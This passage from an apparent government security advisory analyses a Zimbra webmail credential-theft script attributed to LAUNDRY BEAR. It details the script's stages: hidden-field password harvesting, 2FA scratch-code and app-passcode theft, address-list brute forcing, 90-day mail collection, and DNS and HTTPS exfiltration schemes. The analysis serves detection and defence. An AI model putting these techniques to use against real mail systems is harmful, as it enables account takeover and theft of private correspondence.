<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
